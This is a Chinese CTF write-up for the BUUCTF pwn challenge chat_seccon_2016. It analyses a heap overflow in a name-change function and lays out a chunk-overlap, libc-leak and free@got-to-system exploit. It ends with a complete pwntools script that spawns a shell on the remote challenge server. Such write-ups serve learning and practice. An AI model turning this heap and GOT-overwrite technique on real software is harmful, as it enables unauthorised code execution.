当前位置: 首页 > 工具软件 > X7Chat > 使用案例 >

[BUUCTF-pwn] chat_seccon_2016

濮阳君浩
2023-12-01

没开PIE,got表可写,管理块里有指针。

有3种堆块:

  1. 用户块0x20 name_ptr, msg_ptr, next_user_ptr 用户块和消息块都是使用链表
  2. 名字块 0x20到0x30
  3. 消息块 0xa0  msg_id,sender_ptr, data:0x80, next_msg 数据不在开头不能直接free(sh)

漏洞点:

//signup函数里用strdup读数据
...
    ptr = malloc(0x18uLL);
    v2 = hash(a1);
    if ( v2 >= 0 )
    {
      *ptr = strdup(a1);                        // ptr->name,0,ptr->hash_tbl 
      ptr[1] = 0LL;                             // username通过strdup创建大小可变
      ptr[2] = user_tbl[v2];
      user_tbl[v2] = (__int64)ptr;
      result = 1LL;
    }

//service 函数里, 如果建的块是0x20,实际可写0x18,这里可以覆盖到下一块的size
      case 7:
        fwrite("name >> ", 1uLL, 8uLL, stdout);
        getnline(v6, 32);
        if ( (int)change_name((_QWORD *)a1, v6) < 0 )// name通过dup可能为0x20,这里可写入32字节会溢出
          v4 = 0;
        break;

步骤:

  1. 先建用户A,并登录后发消息1,再建用户B和C。这时堆块结构是0x20,0x20,0xa0,0x20 *4
  2. 通过修改A的name将消息块的头由0xa1改为0xe1让他包含B(控制管理块)
  3. 再建个D,占掉0x40的空间,再发消息2则可以覆盖到B的name_ptr 将这里改为指向got表即可showuserlist得到libc
  4. 修改got表有点麻烦,修改前会检查是否可打印字符,恰好在0x603000的位置有0x602e28也就是  (.` 所以B的name提前用这个,修改的时候将值指向0x603000,时正好绕过检查。同3步的方法将name_ptr改为0x603000
  5. 修改B的name,由于长度限制只能修改到free的got表
  6. 当再次修改时,如果输入的是非打印字符就会先将数据复制到name内然后free掉用户,这里输入\x01;/bin/sh既能触发free又能将参数/bin/sh带进去。
from pwn import *

local = 0
if local == 1:
    p = process('./pwn')
    libc_elf = ELF("/home/shi/pwn/libc6_2.23/libc-2.23.so")
    one = [0x45226, 0x4527a, 0xf0364, 0xf1207 ]
    libc_start_main_ret = 0x20840
else:
    p = remote('node4.buuoj.cn', 29714) 
    libc_elf = ELF('../libc6_2.23-0ubuntu10_amd64.so')
    one = [0x45216, 0x4526a, 0xf02a4, 0xf1147 ]
    libc_start_main_ret = 0x20830

elf = ELF('./pwn')
context.arch = 'amd64'

menu1 = b'menu > '
def adduser(name):
    p.sendlineafter(menu1, b'1')
    p.sendlineafter(b"name > ", name)

def login(name):
    p.sendlineafter(menu1, b'2')
    p.sendlineafter(b"name > ", name)

menu2 = b"menu >> "
def logout():
    p.sendlineafter(menu2, b'0')

def show():
    p.sendlineafter(menu2, b'1')

def showdmsg():
    p.sendlineafter(menu2, b'2')

def showuser():
    p.sendlineafter(menu2, b'3')

def sendmsg(msg):
    p.sendlineafter(menu2, b'4')
    p.sendlineafter(b"message >> ", msg)

def sendmsg2(name, msg):
    p.sendlineafter(menu2, b'5')
    p.sendlineafter(b"name >> ", name)
    p.sendlineafter(b"message >> ", msg)

def removemsg(idx):
    p.sendlineafter(menu2, b'6')
    p.sendlineafter(b"id >> ", str(idx).encode())

def changename(newname): #freeuser
    p.sendlineafter(menu2, b'7')
    p.sendlineafter(b"name >> ", newname)

context.log_level = 'debug'

adduser(b'AA')
login(b'AA')
sendmsg(b'A00000') #1
logout()
'''
gef>  x/4gx 0x603000
0x603000:	0x0000000000602e28	0x00007f6682e19168
0x603010:	0x00007f6682c09f10	0x00000000004007d6  <--- <free@got.plt>
'''
adduser(b'(.`') #0x603000 0x602e28
adduser(b'CC')

login(b'AA')
changename(b'A'*0x18+p16(0xe1))
removemsg(1)
logout()

adduser(b'D'*8)
login(b'(.`')
sendmsg(b'A'*0x50 + p64(elf.got['atoi'])) #2

showuser()
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc_elf.sym['atoi']
system    = libc_base + libc_elf.sym['system']

removemsg(2)
sendmsg(b'A'*0x50 + p64(0x603000)) #3
changename(b'#'.ljust(0x18, b'#') + p64(system)[:-2]) #free
changename(b'\x06;/bin/sh;#') #copy then free

p.sendline(b'cat /flag')
p.interactive()

相关阅读

相关文章

相关问答